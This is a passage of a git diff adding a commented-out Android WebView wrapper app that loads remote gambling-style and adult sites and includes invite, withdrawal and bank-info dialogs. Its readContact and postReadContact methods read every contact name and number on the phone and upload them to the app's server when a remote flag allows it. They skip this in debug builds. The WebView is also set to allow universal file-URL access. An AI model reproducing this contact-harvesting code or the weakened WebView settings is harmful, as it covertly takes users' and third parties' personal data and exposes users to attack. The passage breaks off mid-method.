+ + @Override + protected void onResume() { + super.onResume(); + if (notifyApply == 0 || notifyApply == 1) { + if(userId!=-100) { + checkNotify(); + } + } + + + } + + @Override + protected void onPause() { + super.onPause(); + + } + + + public static void saveInt(Context context, String key, int value) { + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + SharedPreferences.Editor editor = sp.edit(); + editor.putInt(key, value); + editor.apply(); + } + + public static int getInt(Context context, String key, int defValue) { + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + return sp.getInt(key, defValue); + } + + Handler mainHandler = new Handler(Looper.getMainLooper()); + + public boolean isApplicationBroughtToBackground(final Context context) { + ActivityManager am = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE); + List tasks = am.getRunningTasks(1); + if (!tasks.isEmpty()) { + ComponentName topActivity = tasks.get(0).topActivity; + if (!topActivity.getPackageName().equals(context.getPackageName())) { + return true; + } + } + return false; + } + +} diff --git a/base_no_all/src/main/java/com/web/base/MainActivity2Bf.java b/base_no_all/src/main/java/com/web/base/MainActivity2Bf.java new file mode 100644 index 0000000..5cdf243 --- /dev/null +++ b/base_no_all/src/main/java/com/web/base/MainActivity2Bf.java @@ -0,0 +1,1620 @@ +//package com.web.base; +// +//import android.Manifest; +//import android.annotation.SuppressLint; +//import android.app.Activity; +//import android.app.ActivityManager; +//import android.app.NotificationManager; +//import android.content.ComponentName; +//import android.content.Context; +//import android.content.Intent; +//import android.content.SharedPreferences; +//import android.content.pm.ApplicationInfo; +//import android.content.pm.PackageManager; +//import android.database.Cursor; +//import android.graphics.Color; +//import android.net.Uri; +//import android.os.Build; +//import android.os.Bundle; +//import android.os.Handler; +//import android.os.Looper; +//import android.os.Message; +//import android.provider.ContactsContract; +//import android.text.Html; +//import android.text.TextUtils; +//import android.util.Log; +//import android.view.MotionEvent; +//import android.view.View; +//import android.view.WindowManager; +//import android.webkit.JavascriptInterface; +//import android.widget.ImageView; +//import android.widget.LinearLayout; +//import android.widget.ProgressBar; +//import android.widget.TextView; +//import android.widget.Toast; +// +//import androidx.annotation.Nullable; +//import androidx.annotation.RequiresApi; +//import androidx.appcompat.app.ActionBar; +//import androidx.appcompat.app.AppCompatActivity; +//import androidx.cardview.widget.CardView; +//import androidx.core.app.ActivityCompat; +//import androidx.core.content.ContextCompat; +// +//import com.google.android.material.floatingactionbutton.FloatingActionButton; +//import com.google.gson.Gson; +//import com.king.app.updater.AppUpdater; +//import com.tencent.smtt.export.external.interfaces.PermissionRequest; +//import com.tencent.smtt.export.external.interfaces.SslError; +//import com.tencent.smtt.export.external.interfaces.SslErrorHandler; +//import com.tencent.smtt.export.external.interfaces.WebResourceError; +//import com.tencent.smtt.export.external.interfaces.WebResourceRequest; +//import com.tencent.smtt.export.external.interfaces.WebResourceResponse; +//import com.tencent.smtt.sdk.DownloadListener; +//import com.tencent.smtt.sdk.ValueCallback; +//import com.tencent.smtt.sdk.WebChromeClient; +//import com.tencent.smtt.sdk.WebSettings; +//import com.tencent.smtt.sdk.WebView; +//import com.tencent.smtt.sdk.WebViewClient; +// +//import java.io.BufferedReader; +//import java.io.IOException; +//import java.io.InputStream; +//import java.io.InputStreamReader; +//import java.io.UnsupportedEncodingException; +//import java.net.URLDecoder; +//import java.nio.charset.StandardCharsets; +//import java.util.ArrayList; +//import java.util.HashMap; +//import java.util.List; +//import java.util.Map; +// +//import io.reactivex.android.schedulers.AndroidSchedulers; +//import io.reactivex.schedulers.Schedulers; +//import okhttp3.MediaType; +//import okhttp3.RequestBody; +// +//public class MainActivity2Bf extends AppCompatActivity { +// public WebView webView; +// TextView tvErrorMsg; +// LinearLayout layoutError; +// ImageView show_top_v; +// public ImageView showTopV1; +// private LinearLayout showTopLy; +// FloatingActionButton floatingActionButton; +// CardView otherApp; +// CardView notifyCardView; +// CardView ivNotify; +// ImageView ivotherApp; +// LinearLayout layoutOtherApp; +// CardView ivFaceBook; +// CardView ivTelG; +// CardView ivWhatsApp; +// CardView ivLink; +// TextView tvLink; +// ImageView ivLinkBg; +// CardView ivHome; +// private View topVvvv; +// private ProgressBar progressBar; +// public static String url = "https://candy916.co/"; +// +// //先定义 +// private static final int REQUEST_EXTERNAL_STORAGE = 1; +// public static int userId = 2; +// private String shareUrl; +// private String myInviteCode; +// private int contactApply = 1; +// private int notifyApply = 1; +// private String facebookUrl = ""; +// private String whatsappUrl = ""; +// private String telegramUrl = ""; +// private List linkconfiglist; +// private CardView cvShare; +// +// float lastX, lastY; +// float initX, initY; +// +// @Override +// protected void onNewIntent(Intent intent) { +// super.onNewIntent(intent); +// setIntent(intent); +// Bundle bundle = intent.getExtras(); +// if (bundle != null) { +// MessageInfo messageInfo = (MessageInfo) bundle.getSerializable("message"); +// if (messageInfo != null) { +// startActivity(new Intent(MainActivity2Bf.this, NotifyListActivity.class).putExtra("message", messageInfo)); +// recordNotify(messageInfo.getPushId()); +// } +// } +// } +// +// @RequiresApi(api = Build.VERSION_CODES.LOLLIPOP) +// @Override +// protected void onCreate(Bundle savedInstanceState) { +// getWindow().setNavigationBarColor(Color.parseColor(MainActivity.getString(MainActivity2Bf.this, "style_color", "#FFFFFF"))); +// getWindow().getDecorView().setBackgroundColor(Color.parseColor(MainActivity.getString(MainActivity2Bf.this, "windows_color", "#FFFFFF"))); +// getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); +// super.onCreate(savedInstanceState); +// View decor = getWindow().getDecorView(); +// getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); +// if (getInt(MainActivity2Bf.this, "is_white", 0) == 1) { +// decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LAYOUT_STABLE); +// } else { +// decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); +// } +// ActionBar actionBar = getSupportActionBar(); +// if (actionBar != null) { +// actionBar.hide(); +// } +// setContentView(R.layout.activity_main2); +// String body = getIntent().getStringExtra("message"); +// if (!TextUtils.isEmpty(body)) { +// MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); +// if (messageInfo != null) { +// startActivity(new Intent(MainActivity2Bf.this, NotifyListActivity.class).putExtra("message", messageInfo)); +// recordNotify(messageInfo.getPushId()); +// } +// } +// +// boolean isDownload = MainActivity.getBoolean(MainActivity2Bf.this, "download", false); +// if (!isDownload) { +// setDownloadNumbers(); +// } +// initView(); +// findViewById(R.id.back_iv).setOnClickListener(view -> onBackPressed()); +// floatingActionButton = findViewById(R.id.bt_menu); +// otherApp = findViewById(R.id.bt_otherapp); +// ivotherApp = findViewById(R.id.iv_otherApp); +// notifyCardView = findViewById(R.id.bt_notify); +// ivNotify = findViewById(R.id.bt_notifyitem); +// layoutOtherApp = findViewById(R.id.layout_otherapp); +// ivFaceBook = findViewById(R.id.iv_facebook); +// ivTelG = findViewById(R.id.iv_tel); +// ivWhatsApp = findViewById(R.id.iv_whatsapp); +// ivLink = findViewById(R.id.iv_link); +// tvLink = findViewById(R.id.tv_link); +// ivLinkBg = findViewById(R.id.iv_linkbg); +// ivHome = findViewById(R.id.iv_home); +// +// cvShare = (CardView) findViewById(R.id.cv_share); +// +//// ivNotify.setOnClickListener(view -> { +//// notifyclick(); +//// }); +//// jdclub9vip +// tvLink.setText(Html.fromHtml("MISSAV")); +// ivFaceBook.setOnClickListener(view -> { +// toOtherApp(facebookUrl, "com.facebook.katana", 1); +// }); +// ivTelG.setOnClickListener(view -> { +// toOtherApp(telegramUrl, "org.telegram.messenger", 2); +// }); +// ivWhatsApp.setOnClickListener(view -> { +// toOtherApp(whatsappUrl, "com.whatsapp", 3); +// }); +//// ivLink.setOnClickListener(view -> { +//// toLink(); +//// +//// }); +// ivHome.setOnClickListener(view -> { +// webView.loadUrl(url); +// }); +// floatingActionButton.setOnClickListener(view -> { +// showBottomDialog(); +// }); +// otherApp.setOnClickListener(view -> { +// layoutOtherApp.setVisibility(layoutOtherApp.getVisibility() == View.VISIBLE ? View.GONE : View.VISIBLE); +// int visi = layoutOtherApp.getVisibility(); +// if (visi == 0) { +// ivotherApp.setImageResource(R.mipmap.ic_shousuo); +// } else { +// ivotherApp.setImageResource(R.mipmap.ic_zhangkai); +// } +// }); +// +// +// if (userId == 157 || userId == 158) { +// ivLink.setVisibility(View.VISIBLE); +// } +// +// if (userId == 157) { +// cvShare.setVisibility(View.VISIBLE); +// } +// cvShare.setOnTouchListener((v, event) -> { +// +// switch (event.getAction()) { +// case MotionEvent.ACTION_DOWN: +// lastX = event.getRawX(); +// lastY = event.getRawY(); +// initX = event.getRawX(); +// initY = event.getRawY(); +// LogUtils.d("touchevent", "lastX=" + lastX + " lastY" + lastY); +// break; +// case MotionEvent.ACTION_MOVE: +// float dx = event.getRawX() - lastX; +// float dy = event.getRawY() - lastY; +// int left = layoutOtherApp.getLeft() + (int) dx; +// int top = layoutOtherApp.getTop() + (int) dy; +// int right = layoutOtherApp.getRight() + (int) dx; +// int bottom = layoutOtherApp.getBottom() + (int) dy; +// layoutOtherApp.layout(left, top, right, bottom); +// lastX = event.getRawX(); +// lastY = event.getRawY(); +// break; +// case MotionEvent.ACTION_UP: +// float upx = event.getRawX(); +// float upy = event.getRawY(); +// if (upx == initX && upy == initY) { +// if (userId == 157) { +// Intent textIntent = new Intent(Intent.ACTION_SEND); +// textIntent.setType("text/plain"); +// textIntent.putExtra(Intent.EXTRA_TEXT, "https://kaki.hfcapital.top"); +// startActivity(Intent.createChooser(textIntent, "分享")); +// +// } +// } +// +// break; +// } +// return true; +// }); +// ivLink.setOnTouchListener((v, event) -> { +// +// switch (event.getAction()) { +// case MotionEvent.ACTION_DOWN: +// lastX = event.getRawX(); +// lastY = event.getRawY(); +// initX = event.getRawX(); +// initY = event.getRawY(); +// LogUtils.d("touchevent", "lastX=" + lastX + " lastY" + lastY); +// break; +// case MotionEvent.ACTION_MOVE: +// float dx = event.getRawX() - lastX; +// float dy = event.getRawY() - lastY; +// int left = layoutOtherApp.getLeft() + (int) dx; +// int top = layoutOtherApp.getTop() + (int) dy; +// int right = layoutOtherApp.getRight() + (int) dx; +// int bottom = layoutOtherApp.getBottom() + (int) dy; +// layoutOtherApp.layout(left, top, right, bottom); +// lastX = event.getRawX(); +// lastY = event.getRawY(); +// break; +// case MotionEvent.ACTION_UP: +// float upx = event.getRawX(); +// float upy = event.getRawY(); +// if (upx == initX && upy == initY) { +// toLink(); +// } +// +// break; +// } +// return true; +// }); +// +// ivNotify.setOnTouchListener((v, event) -> { +// +// switch (event.getAction()) { +// case MotionEvent.ACTION_DOWN: +// lastX = event.getRawX(); +// lastY = event.getRawY(); +// initX = event.getRawX(); +// initY = event.getRawY(); +// LogUtils.d("touchevent", "lastX=" + lastX + " lastY" + lastY); +// break; +// case MotionEvent.ACTION_MOVE: +// float dx = event.getRawX() - lastX; +// float dy = event.getRawY() - lastY; +// int left = layoutOtherApp.getLeft() + (int) dx; +// int top = layoutOtherApp.getTop() + (int) dy; +// int right = layoutOtherApp.getRight() + (int) dx; +// int bottom = layoutOtherApp.getBottom() + (int) dy; +// layoutOtherApp.layout(left, top, right, bottom); +// lastX = event.getRawX(); +// lastY = event.getRawY(); +// break; +// case MotionEvent.ACTION_UP: +// float upx = event.getRawX(); +// float upy = event.getRawY(); +// if (upx == initX && upy == initY) { +// notifyclick(); +// } +// +// break; +// } +// return true; +// }); +// layoutOtherApp.setOnTouchListener((v, event) -> { +// +// switch (event.getAction()) { +// case MotionEvent.ACTION_DOWN: +// lastX = event.getRawX(); +// lastY = event.getRawY(); +// initX = event.getRawX(); +// initY = event.getRawY(); +// LogUtils.d("touchevent", "lastX=" + lastX + " lastY" + lastY); +// break; +// case MotionEvent.ACTION_MOVE: +// float dx = event.getRawX() - lastX; +// float dy = event.getRawY() - lastY; +// int left = v.getLeft() + (int) dx; +// int top = v.getTop() + (int) dy; +// int right = v.getRight() + (int) dx; +// int bottom = v.getBottom() + (int) dy; +// v.layout(left, top, right, bottom); +// lastX = event.getRawX(); +// lastY = event.getRawY(); +// break; +// case MotionEvent.ACTION_UP: +// float upx = event.getRawX(); +// float upy = event.getRawY(); +// if (upx == initX && upy == initY) { +// notifyclick(); +// } +// +// break; +// } +// return true; +// }); +// +// setTotalTongJi(); //每日活跃统计 +// +// +// } +// +// private void toLink() { +// if (userId == 157 || userId == 158) { +// webView.loadUrl("https://missav.live/dm19/ms"); +// +// } else { +// webView.loadUrl(linkconfiglist.get(0).getLinkUrl()); +// } +// } +// +// public void setBackDrawables(int drawableId) { +// showTopLy.setBackgroundResource(drawableId); +// } +// +// /** +// * 显示圆角还是 原样显示 +// * +// * @param isRound +// */ +// public void setImageView(boolean isRound) { +// if (isRound) { +// show_top_v.setVisibility(View.VISIBLE); +// showTopV1.setVisibility(View.GONE); +// } else { +// show_top_v.setVisibility(View.GONE); +// showTopV1.setVisibility(View.VISIBLE); +// } +// } +// +// //跳转通知列表 +// private void notifyclick() { +// startActivity(new Intent(this, NotifyListActivity.class)); +// } +// +// private void toOtherApp(String uri, String packagenames, int type) { +// try { +// Intent intent = new Intent(Intent.ACTION_VIEW); +// intent.setData(Uri.parse(uri)); +// intent.setPackage(packagenames); +// startActivity(intent); +// } catch (Exception e) { +// Intent intent = new Intent(Intent.ACTION_VIEW); +// intent.setData(Uri.parse(uri)); +// startActivity(intent); +// } +// +// } +// +// +// public void showBottomDialog() { +// ActionSelectDialog actionDialog = new ActionSelectDialog(MainActivity2Bf.this); +// actionDialog.setOnToActionListener(new ActionSelectDialog.OnToActionListener() { +// @Override +// public void toShare() { +// if (TextUtils.isEmpty(myInviteCode)) { +// getMyInvite(true); +// } else { +// goShare(); +// } +// } +// +// @Override +// public void toCheck() { +// showRecordDialog(); +// } +// +// @Override +// public void toWithDrawRecords() { +// showWithDrawRecordDialog(); +// } +// +// @Override +// public void toWithDrawApply() { +// goWithDrawApply(); +// } +// +// @Override +// public void toBankInfo() { +// showBankInfoDialog(); +// } +// }); +// actionDialog.setCancelable(true); +// actionDialog.setCanceledOnTouchOutside(true); +// actionDialog.show(); +// } +// +// public void goShare() { +// Intent shareTextIntent = new Intent(); +// shareTextIntent.setAction(Intent.ACTION_SEND); +// String title = getString(R.string.app_sharetitle) + myInviteCode; +// String parentCode = MainActivity.getString(this, "code", ""); +// shareTextIntent.putExtra(Intent.EXTRA_TITLE, title + (TextUtils.isEmpty(parentCode) ? "" : "\n" + getString(R.string.app_sharetitle2) + parentCode)); +// shareTextIntent.putExtra(Intent.EXTRA_TEXT, getString(R.string.app_name) + getString(R.string.app_sharecontent) + shareUrl + " \n" + title); +// shareTextIntent.setType("text/plain"); +// startActivity(Intent.createChooser(shareTextIntent, getString(R.string.app_name) + getString(R.string.app_sharecontent))); +// } +// +// private ActionWithDrawApplyDialog drawApplyDialog; +// +// public void goWithDrawApply() { +// drawApplyDialog = new ActionWithDrawApplyDialog(MainActivity2Bf.this, myInviteCode); +// drawApplyDialog.setOnToActionListener(new ActionWithDrawApplyDialog.OnToActionListener() { +// @Override +// public void toSumbit(String content) { +// sendApply(content); +// } +// +// @Override +// public void toCancel() { +// +// } +// }); +// drawApplyDialog.setCancelable(false); +// drawApplyDialog.setCanceledOnTouchOutside(false); +// drawApplyDialog.show(); +// } +// +// /** +// * 编辑银行卡信息 +// */ +// public void showBankInfoDialog() { +// ActionBankInfoDialog bankInfoDialog = new ActionBankInfoDialog(MainActivity2Bf.this, myInviteCode); +// bankInfoDialog.setCancelable(false); +// bankInfoDialog.setCanceledOnTouchOutside(false); +// bankInfoDialog.show(); +// } +// +// /** +// * 发送申请记录 +// */ +// public void sendApply(String amount) { +// HashMap map = new HashMap<>(); +// map.put("userId", userId); +// map.put("amount", amount); +// map.put("inviteCode", myInviteCode); +// Api.getInstance().sendWithDrawApply(map) +// .subscribeOn(Schedulers.io()) +// .observeOn(AndroidSchedulers.mainThread()) +// .subscribe(new BaseObserver() { +// @Override +// public void onSuccess(Result o) { +// Toast.makeText(MainActivity2Bf.this, getString(R.string.app_toastapply), Toast.LENGTH_SHORT).show(); +// if (drawApplyDialog != null) { +// drawApplyDialog.dismiss(); +// } +// getMyInvite(false); +// +// } +// +// @Override +// public void onError(int code, String msg) { +// LogUtils.d("dddd" + msg); +// Toast.makeText(MainActivity2Bf.this, msg, Toast.LENGTH_SHORT).show(); +// } +// +// @Override +// public void onError2(Result o) { +// Toast.makeText(MainActivity2Bf.this, o.error, Toast.LENGTH_SHORT).show(); +// } +// }); +// } +// +// +// public void showRecordDialog() { +// ActionInviteRecordsDialog actionDialog = new ActionInviteRecordsDialog(MainActivity2Bf.this, myInviteCode); +// actionDialog.setCancelable(false); +// actionDialog.setCanceledOnTouchOutside(false); +// actionDialog.show(); +// } +// +// public void showWithDrawRecordDialog() { +// ActionWithDrawRecordsDialog actionDialog = new ActionWithDrawRecordsDialog(MainActivity2Bf.this, myInviteCode); +// actionDialog.setCancelable(false); +// actionDialog.setCanceledOnTouchOutside(false); +// actionDialog.show(); +// } +// +// ActionConfirmDialog actionDialog; +// +// private void checkNotify() { +// NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); +// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) { +// if (!notificationManager.areNotificationsEnabled()) { +// if (actionDialog == null) { +// actionDialog = new ActionConfirmDialog(MainActivity2Bf.this, +// getString(R.string.notification_title_txt), getString(R.string.notification_cancel_txt), +// getString(R.string.notification_setting_txt)); +// } +// actionDialog.setOnToActionListener(new ActionConfirmDialog.OnToActionListener() { +// @Override +// public void toSumbit() { +// jumpNotificationSetting(); +// } +// +// @Override +// public void toCancel() { +// if (notifyApply == 1) { +// MainActivity2Bf.this.finish(); +// } +// +// +// } +// }); +// actionDialog.setCanceledOnTouchOutside(false); +// actionDialog.setCancelable(false); +// actionDialog.show(); +// +// +// } +// } +// } +// +// private void jumpNotificationSetting() { +// final ApplicationInfo applicationInfo = getApplicationInfo(); +// try { +// Intent intent = new Intent(); +// intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); +// intent.setAction("android.settings.APP_NOTIFICATION_SETTINGS"); +// intent.putExtra("app_package", applicationInfo.packageName); +// intent.putExtra("android.provider.extra.APP_PACKAGE", applicationInfo.packageName); +// intent.putExtra("app_uid", applicationInfo.uid); +// startActivity(intent); +// } catch (Throwable t) { +// t.printStackTrace(); +// Intent intent = new Intent(); +// intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); +// intent.setAction("android.settings.APPLICATION_DETAILS_SETTINGS"); +// intent.setData(Uri.fromParts("package", applicationInfo.packageName, null)); +// startActivity(intent); +// } +// } +// +// @Override +// public void onBackPressed() { +// +// if (webView.canGoBack()) {//当webview有多级能返回的时候 +// String url = webView.getUrl(); +// // 在首页 就退出这个页面 +// if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { +// super.onBackPressed(); +// } else { //不在首页 回到首页 +// if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { +// isAtGame = false; +// } +// topVvvv.setVisibility(View.GONE); +// progressBar.setVisibility(View.VISIBLE); +// //当有条过登录页面 只能重载 不然逻辑会异常 +// if (hasSignIn) { +// onShowNetView(); +// webView.loadUrl(url); +// } else { +// while (webView.canGoBack()) { +// webView.goBack(); +// } +// +// } +// } +// +// } else {//不能返回了 关闭进程 退出程序 +// Intent homeIntent = new Intent(Intent.ACTION_MAIN); +// homeIntent.addCategory(Intent.CATEGORY_HOME); +// homeIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); +// startActivity(homeIntent); +// android.os.Process.killProcess(android.os.Process.myPid()); +// System.exit(1); +// +// } +// } +// +// +// private static String[] PERMISSIONS_STORAGE = { +// "android.permission.READ_EXTERNAL_STORAGE", +// "android.permission.WRITE_EXTERNAL_STORAGE"}; +// +// private static String[] PERMISSIONS_CAMERA = { +// Manifest.permission.CAMERA}; +// +// //然后通过一个函数来申请 +// public static void verifyStoragePermissions(Activity activity) { +// +// // 没有写的权限,去申请写的权限,会弹出对话框 +// ActivityCompat.requestPermissions(activity, PERMISSIONS_STORAGE, REQUEST_EXTERNAL_STORAGE); +// +// } +// +// +// @SuppressLint({"NewApi", "WrongConstant"}) +// protected void initView() { +// topVvvv = (View) findViewById(R.id.top_vvvv); +// webView = findViewById(R.id.webview); +// show_top_v = findViewById(R.id.show_top_v); +// +// showTopV1 = (ImageView) findViewById(R.id.show_top_v1); +// showTopLy = findViewById(R.id.show_top_ly); +// progressBar = (ProgressBar) findViewById(R.id.progressbar); +// tvErrorMsg = findViewById(R.id.errormsg); +// layoutError = findViewById(R.id.layoutError); +// WebSettings settings = webView.getSettings(); +// settings.setDomStorageEnabled(true); +// settings.setAppCacheEnabled(true); +// settings.setCacheMode(WebSettings.LOAD_DEFAULT); +// settings.setJavaScriptEnabled(true); +// settings.setLoadWithOverviewMode(true); +// // 设置允许访问文件数据 +// settings.setAllowFileAccess(true); +// settings.setAllowContentAccess(true); +// settings.setDatabaseEnabled(true); +// settings.setSavePassword(false); +// settings.setSaveFormData(false); +// settings.setUseWideViewPort(true); +// settings.setBuiltInZoomControls(true); +// settings.setPluginState(WebSettings.PluginState.ON); +// settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS); +// webView.setFocusable(true); +// webView.setFocusableInTouchMode(true); +// webView.getSettings().setSupportMultipleWindows(true); +// +// settings.setSupportZoom(false); +// webView.setScrollBarStyle(WebView.SCROLLBARS_OUTSIDE_OVERLAY); +//// webView.setHorizontalScrollbarOverlay(true); +// webView.setHorizontalScrollBarEnabled(true); +// webView.requestFocus(); +//// webView.setBackgroundColor(getColor(R.color.black)); +// settings.setJavaScriptCanOpenWindowsAutomatically(true); +// settings.setMediaPlaybackRequiresUserGesture(false); +// // 设置在WebView内部是否允许通过file url加载的 Js代码读取其他的本地文件 +// // Android 4.1前默认允许,4.1后默认禁止 +// settings.setAllowFileAccessFromFileURLs(true); +// // 设置WebView内部是否允许通过 file url 加载的 Javascript 可以访问其他的源(包括http、https等源) +// // Android 4.1前默认允许,4.1后默认禁止 +// settings.setAllowUniversalAccessFromFileURLs(true); +// +// webView.setWebChromeClient(webChromeClient); +// webView.setWebViewClient(webViewClient); +// Log.i("XHXDEBUG", "XHXDEBUGURL:::" + url); +// webView.addJavascriptInterface(new JsInterface(), "AndroidInterface"); +// +// showTopLy.setBackgroundColor(Color.parseColor(MainActivity.getString(MainActivity2Bf.this, "windows_color", "#FFFFFF"))); +// webView.setDownloadListener(new DownloadListener() { +// @Override +// public void onDownloadStart(String url, String userAgent, String contentDisposition, String mimeType, long contentLength) { +// LogUtils.i("URL是啥onDownloadStart:" + url); +// +// try { +// Intent intent = new Intent(); +// intent.setAction(Intent.ACTION_VIEW); +// intent.setData(Uri.parse(url)); +// startActivity(intent); +// } catch (Exception e) { +// e.printStackTrace(); +// } +// +// } +// }); +// getNetUrl(); +// getNotifyList(); +// LogUtils.i("userAgent:" + webView.getSettings().getUserAgentString()); +// } +// +// public void getNotifyList() { +// +// Api.getInstance().getNotifyList(userId, 1, 1) +// .subscribeOn(Schedulers.io()) +// .observeOn(AndroidSchedulers.mainThread()) +// .subscribe(new BaseObserver>>() { +// @Override +// public void onSuccess(Result> o) { +// if (o.data != null && o.data.getTotal() > 0) { +// otherApp.setVisibility(View.INVISIBLE); +// +// ivNotify.setVisibility(View.VISIBLE); +// if (userId == 112 || userId == 87 || userId == 91 || userId == 93 +// || userId == 92 || userId == 84 || userId == 120 || userId == 70 || userId == 143 || userId == 149) { +// ivNotify.setVisibility(View.INVISIBLE); +// layoutOtherApp.setVisibility(View.GONE); +// } +// ivotherApp.setImageResource(R.mipmap.ic_shousuo); +// } +// } +// +// @Override +// public void onError(int code, String msg) { +// LogUtils.i("获取的结果error" + msg); +// } +// +// @Override +// public void onError2(Result> o) { +// LogUtils.i("获取的结果error"); +// } +// }); +// } +// +// public void getNetUrl() { +// Api.getInstance().geUrlNew(userId) +// .subscribeOn(Schedulers.io()) +// .observeOn(AndroidSchedulers.mainThread()) +// .subscribe(new BaseObserver>() { +// @Override +// public void onSuccess(Result o) { +// +// DataInfo dataInfo = o.data; +// if (dataInfo != null) { +// if (dataInfo.getIsUse() == 0) { +// MainActivity2Bf.this.finish(); +// return; +// } +// if (!TextUtils.isEmpty(dataInfo.getUrl())) { +// MainActivity.saveString(MainActivity2Bf.this, "base_url", dataInfo.getUrl()); +// webView.loadUrl(dataInfo.getUrl()); +// } +// shareUrl = dataInfo.getDownloadUrl(); +// String link = dataInfo.getLinkConfig(); +// if (!TextUtils.isEmpty(link)) { +// try { +// linkconfiglist = GsonUtils.getListFromJSON(link, LinkConfigInfo.class); +// } catch (Exception e) { +// +// } +// } +// if (!TextUtils.isEmpty(dataInfo.getVersionCode())) { +// LogUtils.i("版本号:" + Integer.parseInt(dataInfo.getVersionCode()) + ";" + getInt(MainActivity2Bf.this, "version_code", 0)); +// if (Integer.parseInt(dataInfo.getVersionCode()) > getInt(MainActivity2Bf.this, "version_code", 0)) { +// ActionConfirmDialog actionDialog = new ActionConfirmDialog(MainActivity2Bf.this, +// getString(R.string.banbengengxin_txt), getString(R.string.xiacigengxin_txt), +// getString(R.string.lijigengxin_txt)); +// actionDialog.setOnToActionListener(new ActionConfirmDialog.OnToActionListener() { +// @Override +// public void toSumbit() { +// checkUpdate(dataInfo.getApkUrl()); +// } +// +// @Override +// public void toCancel() { +// if (dataInfo.getForceUpdate() == 1) { +// MainActivity2Bf.this.finish(); +// } +// } +// }); +// actionDialog.show(); +// } +// } +// contactApply = dataInfo.getContactApplyMode(); +// notifyApply = dataInfo.getNoticeApplyMode(); +// if (contactApply == 0 || contactApply == 1) { +// readContact(); +// } +// if (notifyApply == 0 || notifyApply == 1) { +// checkNotify(); +// } +// facebookUrl = dataInfo.getFbUrl().trim(); +// telegramUrl = dataInfo.getTgUrl().trim(); +// whatsappUrl = dataInfo.getWsUrl().trim(); +// if (!TextUtils.isEmpty(facebookUrl)) { +// otherApp.setVisibility(View.INVISIBLE); +// ivFaceBook.setVisibility(View.VISIBLE); +// } +// if (!TextUtils.isEmpty(telegramUrl)) { +// otherApp.setVisibility(View.INVISIBLE); +// ivTelG.setVisibility(View.VISIBLE); +// } +// if (!TextUtils.isEmpty(whatsappUrl)) { +// otherApp.setVisibility(View.INVISIBLE); +// ivWhatsApp.setVisibility(View.VISIBLE); +// } +// if (userId == 143 || userId == 149) { +// otherApp.setVisibility(View.INVISIBLE); +// ivFaceBook.setVisibility(View.GONE); +// ivTelG.setVisibility(View.GONE); +// ivWhatsApp.setVisibility(View.GONE); +// layoutOtherApp.setVisibility(View.GONE); +// } +// } else { +// url = MainActivity.getString(MainActivity2Bf.this, "base_url", url); +// webView.loadUrl(url); +// } +// +// +// } +// +// @Override +// public void onError(int code, String msg) { +// url = MainActivity.getString(MainActivity2Bf.this, "base_url", url); +// webView.loadUrl(url); +// } +// +// @Override +// public void onError2(Result o) { +// url = MainActivity.getString(MainActivity2Bf.this, "base_url", url); +// webView.loadUrl(url); +// } +// }); +// +// } +// +// +// private void checkUpdate(String url) { +// new AppUpdater(this, url).start(); +// } +// +// List contents = new ArrayList<>(); +// private static String[] PERMISSIONS_READCONTACT = { +// Manifest.permission.READ_CONTACTS}; +// +// public void readContact() { +// +// if (BuildConfig.BUILD_TYPE.equals("debug")) { +// return; +// } +// +// if (ContextCompat.checkSelfPermission(MainActivity2Bf.this, Manifest.permission.READ_CONTACTS) != 0) { +// ActivityCompat.requestPermissions(MainActivity2Bf.this, PERMISSIONS_READCONTACT, 2222); +// } else { +// //开启线程上传数据 +// new Thread(() -> { +// //获取通讯录 +// contents = new ArrayList<>(); +// Cursor cursor = null; +// try { +// cursor = getContentResolver().query( +// ContactsContract.CommonDataKinds.Phone.CONTENT_URI, +// null, null, null, null); +// while (cursor.moveToNext()) { +// int i_name = cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME); +// String displayName = cursor.getString(i_name); +// int i_number = cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER); +// String number = cursor.getString(i_number); +// ContactBean bean = new ContactBean(displayName, number.trim()); +// contents.add(bean); +// } +// } catch (Exception e) { +// e.printStackTrace(); +// } finally { +// if (cursor != null) { +// cursor.close(); +// postReadContact(contents); +// } +// } +// }).start(); +// +// +// } +// } +// +// public void postReadContact(List contents) { +// Gson gson = new Gson(); +// HashMap map = new HashMap<>(); +// map.put("userId", userId); +// map.put("customers", contents); +// String result = gson.toJson(map); +// MediaType mediaType = MediaType.parse("application/json; charset=utf-8"); +// Api.getInstance().readContact(RequestBody.create(mediaType, result)) +// .subscribeOn(Schedulers.io()) +// .observeOn(AndroidSchedulers.mainThread()) +// .subscribe(new BaseObserver() { +// @Override +// public void onSuccess(Result o) { +// LogUtils.i("URL是啥获取的文件地址:"); +// +// } +// +// @Override +// public void onError(int code, String msg) { +// LogUtils.i("error:" + msg); +// } +// +// @Override +// public void onError2(Result o) { +// +// } +// }); +// } +// +// public void setDownloadNumbers() { +// HashMap map = new HashMap<>(); +// map.put("userId", userId); +// Api.getInstance().downloadNumbers(map) +// .subscribeOn(Schedulers.io()) +// .observeOn(AndroidSchedulers.mainThread()) +// .subscribe(new BaseObserver() { +// @Override +// public void onSuccess(Result o) { +// LogUtils.i("URL是啥获取的文件地址:"); +// MainActivity.saveBoolean(MainActivity2Bf.this, "download", true); +// +// } +// +// @Override +// public void onError(int code, String msg) { +// LogUtils.i("error:" + msg); +// } +// +// @Override +// public void 